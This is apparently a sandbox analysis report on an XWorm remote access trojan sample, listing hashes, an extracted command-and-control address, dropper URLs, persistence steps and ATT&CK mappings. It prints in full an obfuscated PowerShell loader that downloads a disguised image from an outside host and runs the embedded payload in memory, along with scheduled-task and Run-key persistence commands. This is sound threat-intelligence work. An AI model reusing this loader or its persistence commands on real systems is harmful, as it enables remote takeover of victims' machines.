xworm | df6eac509b37b2dfe3ced246b01167bf4c9d82a3ba0d20b3f3da90072dbd0d99

Analysis

max time kernel
104s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20250610-en
resource tags

arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
submitted
18/06/2025, 13:58

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General

Target
0.js
Size 398KB
Sample250618-q91vaaek21
SHA256 df6eac509b37b2dfe3ced246b01167bf4c9d82a3ba0d20b3f3da90072dbd0d99
MD5 31b2022a0d51a85091eae57a4b504c4e
SHA1 fca17a0505e3fa11d0c6e23982bd1f171047194b
SHA512 4d5b49e87f1d96a6b192305b8db409990a1481b1bf621f9639b303f0b0b23c31af99d69c5cc7188b038f3729f476008e0e43618754ba16856390c459a2434715
SSDEEP 768:CLvTcobxKUCzY7VjJ4Vlp7UJFPzgLvTcobxKUCzY7VjJ4VlpX:odxKwja9dxKwjaX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm discovery execution persistence rat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://cdn.tagbox.io/assets/6850bda459dffb0011a76b02/a3edcbb7-06ae-4329-bf33-096c01a0636d---wp4096799-lost-in-space-wallpapers.jpg
exe.dropper
https://cdn.tagbox.io/assets/6850bda459dffb0011a76b02/a3edcbb7-06ae-4329-bf33-096c01a0636d---wp4096799-lost-in-space-wallpapers.jpg

Extracted

Family

xworm

Version

191.96.79.137:7000

Mutex

F8XtaUfidb0ijW14

Attributes

Install_directory
%Temp%
install_file
win32.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4432-19-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	4204	powershell.exe
31	4204	powershell.exe
32	4204	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4204	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3363265260-1896056973-3798637170-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win32.lnk	MSBuild.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win32.lnk	MSBuild.exe

Executes dropped EXE 3 IoCs

pid	Process
4940	win32.exe
4508	win32.exe
5260	win32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3363265260-1896056973-3798637170-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\win32 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\win32.exe"	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4204 set thread context of 4432	4204	powershell.exe	98

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	win32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	win32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	win32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2148	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4432	MSBuild.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 4204	2144	wscript.exe	86
PID 2144 wrote to memory of 4204	2144	wscript.exe	86
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4204 wrote to memory of 4432	4204	powershell.exe	98
PID 4432 wrote to memory of 2148	4432	MSBuild.exe	99
PID 4432 wrote to memory of 2148	4432	MSBuild.exe	99
PID 4432 wrote to memory of 2148	4432	MSBuild.exe	99
PID 2364 wrote to memory of 4940	2364	cmd.exe	103
PID 2364 wrote to memory of 4940	2364	cmd.exe	103
PID 2364 wrote to memory of 4940	2364	cmd.exe	103

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$antiamoebic='JGh5cGVyYmFyaWMgPSAnVmtGSic7JGJlYW5jb3VudGVycyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGh5cGVyYmFyaWMpOyR4ZW5vcGhvYmUgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkYmVhbmNvdW50ZXJzKTskcHJlY2lwaXRhbnRuZXNzID0gJ1pHNXNhV0l1U1U4dVNHOXRaUT09Jzskc3RhcGh5bG9wdG9zaXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCRwcmVjaXBpdGFudG5lc3MpOyRyZWRpc3BsYXllZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRzdGFwaHlsb3B0b3Npcyk7QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uRHJhd2luZzskc2lib2dsaW5pZD0naHR0cHM6Ly9jZG4udGFnYm94LmlvL2Fzc2V0cy82ODUwYmRhNDU5ZGZmYjAwMTFhNzZiMDIvYTNlZGNiYjctMDZhZS00MzI5LWJmMzMtMDk2YzAxYTA2MzZkLS0td3A0MDk2Nzk5LWxvc3QtaW4tc3BhY2Utd2FsbHBhcGVycy5qcGcnOyRaZWl0Z2Vpc3Rlcj1OZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRaZWl0Z2Vpc3Rlci5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7JGJyZWV6aWVzdD0kWmVpdGdlaXN0ZXIuRG93bmxvYWREYXRhKCRzaWJvZ2xpbmlkKTskYXBwbGF1ZGluZz1bYnl0ZVtdXSgweDQyLCAweDRELCAweDdFLCAweDY4LCAweDQwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDM2LCAweDAwLCAweDAwLCAweDAwLCAweDI4LCAweDAwKTskc3VycmV5cz0tMTtmb3IoJGtleWxvZ2dlcnM9MDska2V5bG9nZ2VycyAtbGUgJGJyZWV6aWVzdC5MZW5ndGgtJGFwcGxhdWRpbmcuTGVuZ3RoOyRrZXlsb2dnZXJzKyspeyAkZXRoaWRlbmU9JHRydWU7Zm9yKCR0aGVybW9lbGVjdHJpYz0wOyR0aGVybW9lbGVjdHJpYyAtbHQgJGFwcGxhdWRpbmcuTGVuZ3RoOyR0aGVybW9lbGVjdHJpYysrKXtpZigkYnJlZXppZXN0WyRrZXlsb2dnZXJzKyR0aGVybW9lbGVjdHJpY10gLW5lICRhcHBsYXVkaW5nWyR0aGVybW9lbGVjdHJpY10peyRldGhpZGVuZT0kYmlzZXh1YWxpdHk7YnJlYWt9fWlmKCRldGhpZGVuZSl7JHN1cnJleXM9JGtleWxvZ2dlcnM7YnJlYWt9fWlmKCRzdXJyZXlzIC1lcSAtMSl7cmV0dXJufTskTWFubmVyaXNtcz0kYnJlZXppZXN0WyRzdXJyZXlzLi4oJGJyZWV6aWVzdC5MZW5ndGgtMSldOyRzZWNyZXRvbWU9TmV3LU9iamVjdCBJTy5NZW1vcnlTdHJlYW07JHNlY3JldG9tZS5Xcml0ZSgkTWFubmVyaXNtcywwLCRNYW5uZXJpc21zLkxlbmd0aCk7JHNlY3JldG9tZS5TZWVrKDAsJ0JlZ2luJyl8T3V0LU51bGw7JHdoZWV6aW5nPVtEcmF3aW5nLkJpdG1hcF06OkZyb21TdHJlYW0oJHNlY3JldG9tZSk7JG9wc29uaXNhdGlvbj1OZXctT2JqZWN0IENvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXTtmb3IoJFdlYmxpbmtzPTA7JFdlYmxpbmtzIC1sdCAkd2hlZXppbmcuSGVpZ2h0OyRXZWJsaW5rcysrKXtmb3IoJHJhdHRsZWJyYWlucz0wOyRyYXR0bGVicmFpbnMgLWx0ICR3aGVlemluZy5XaWR0aDskcmF0dGxlYnJhaW5zKyspeyRwbGVyb21hbD0kd2hlZXppbmcuR2V0UGl4ZWwoJHJhdHRsZWJyYWlucywkV2VibGlua3MpOyRvcHNvbmlzYXRpb24uQWRkKCRwbGVyb21hbC5SKTskb3Bzb25pc2F0aW9uLkFkZCgkcGxlcm9tYWwuRyk7JG9wc29uaXNhdGlvbi5BZGQoJHBsZXJvbWFsLkIpfX07JG15cmNlbmVzPVtCaXRDb252ZXJ0ZXJdOjpUb0ludDMyKCRvcHNvbmlzYXRpb24uR2V0UmFuZ2UoMCw0KS5Ub0FycmF5KCksMCk7JGluc2V0cz0kb3Bzb25pc2F0aW9uLkdldFJhbmdlKDQsJG15cmNlbmVzKS5Ub0FycmF5KCk7JHF3ZXJ0eT1bQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRpbnNldHMpLlJlcGxhY2UoJ0EnLCdAJykuUmVwbGFjZSgnQCcsJ0EnKTskZ2FuZ2VyPSc9PUFNdmcwTil+SjNORmxEVnZRMkxsVm1MbFIzY2hCM0x2b0RjMFJIYScuUmVwbGFjZSgnKX4nLCd0Jyk7JHByb2hpYml0cz1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHF3ZXJ0eSk7JGljaG9nbGFuPVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkcHJvaGliaXRzKTskcGxlbml0dWRpbm91cz1AKCRnYW5nZXIsJycsJycsJycsJ01TQnVpbGQnLCcnLCcnLCcnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzJywnY2l2aWxpc2FibGUnLCdqcycsJycsJycsJ3F1ZWVmaW5nJywnMicsJycpOyRpY2hvZ2xhbi5HZXRUeXBlKCRyZWRpc3BsYXllZCkuR2V0TWV0aG9kKCR4ZW5vcGhvYmUpLkludm9rZSgkRXVwaGVtaWEsJHBsZW5pdHVkaW5vdXMpOyR3aGVlemluZy5EaXNwb3NlKCk7JHNlY3JldG9tZS5EaXNwb3NlKCk=';$paedobaptism=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($antiamoebic));Invoke-Expression $paedobaptism"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Drops startup file
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "win32" /tr "C:\Users\Admin\AppData\Local\Temp\win32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\win32.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Users\Admin\AppData\Local\Temp\win32.exe
  C:\Users\Admin\AppData\Local\Temp\win32.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4940

C:\Users\Admin\AppData\Local\Temp\win32.exe
C:\Users\Admin\AppData\Local\Temp\win32.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4508

C:\Users\Admin\AppData\Local\Temp\win32.exe
C:\Users\Admin\AppData\Local\Temp\win32.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

win32.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\win32.exe.log
Size 841B
SHA256 ff981780f37479af6a428dd121eef68cf6e0b471ae92f080893a55320cc993f7
MD5 0efd0cfcc86075d96e951890baf0fa87
SHA1 6e98c66d43aa3f01b2395048e754d69b7386b511
SHA512 4e79f5a8494aac94f98af8dbbc71bdd0a57b02103757ad970da7e7d4e6a0dc5015ca008256a6bd2c5bdec3a0f5736a994e17b3ef004b0f374a3339e480ac41b1
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_hgoxsh51.bq4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgoxsh51.bq4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

win32.exe

Path C:\Users\Admin\AppData\Local\Temp\win32.exe
Size 256KB
SHA256 ed9884bac608c06b7057037cc91d90e4ae5f74dd2dbce2af476699c6d4492d82
MD5 8fdf47e0ff70c40ed3a17014aeea4232
SHA1 e6256a0159688f0560b015da4d967f41cbf8c9bd
SHA512 bd69d092ed4f9c5e1f24eaf5ec79fb316469d53849dc798fae0fcba5e90869b77ee924c23cc6f692198ff25827ab60ad47bb46cadd6e0aadde7731cbafb013be
SSDEEP 3072:7a0t0yH5wCwie3NnQNLpj/Wnqvsw2XpFU4rwOeTubZSzf02RFihx2uzj:m0ny3nnKpqnZRXfw702birr/
MD5 SHA1 SHA512 SSDEEP

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memory/4204-18-0x000001DECD2F0000-0x000001DECD6FC000-memory.dmp

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memory/4204-22-0x00007FFFC2FD0000-0x00007FFFC3A91000-memory.dmp

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memory/4204-13-0x00007FFFC2FD0000-0x00007FFFC3A91000-memory.dmp

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memory/4204-14-0x00007FFFC2FD3000-0x00007FFFC2FD5000-memory.dmp

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memory/4204-15-0x00007FFFC2FD0000-0x00007FFFC3A91000-memory.dmp

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memory/4204-16-0x00007FFFC2FD0000-0x00007FFFC3A91000-memory.dmp

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memory/4204-17-0x00007FFFC2FD0000-0x00007FFFC3A91000-memory.dmp

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memory/4204-0-0x00007FFFC2FD3000-0x00007FFFC2FD5000-memory.dmp

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memory/4204-1-0x000001DEC3F10000-0x000001DEC3F32000-memory.dmp

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memory/4204-12-0x00007FFFC2FD0000-0x00007FFFC3A91000-memory.dmp

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memory/4204-11-0x00007FFFC2FD0000-0x00007FFFC3A91000-memory.dmp

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memory/4432-23-0x0000000005340000-0x00000000053DC000-memory.dmp

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memory/4432-35-0x0000000005EE0000-0x0000000005F46000-memory.dmp

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memory/4432-19-0x0000000000400000-0x0000000000410000-memory.dmp

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memory/4432-38-0x0000000006B20000-0x0000000006BB2000-memory.dmp

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memory/4432-39-0x0000000007170000-0x0000000007714000-memory.dmp

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memory/4940-31-0x0000000000C10000-0x0000000000C50000-memory.dmp

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memory/4940-32-0x0000000002EC0000-0x0000000002EDA000-memory.dmp

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memory/4940-33-0x0000000005610000-0x000000000576A000-memory.dmp

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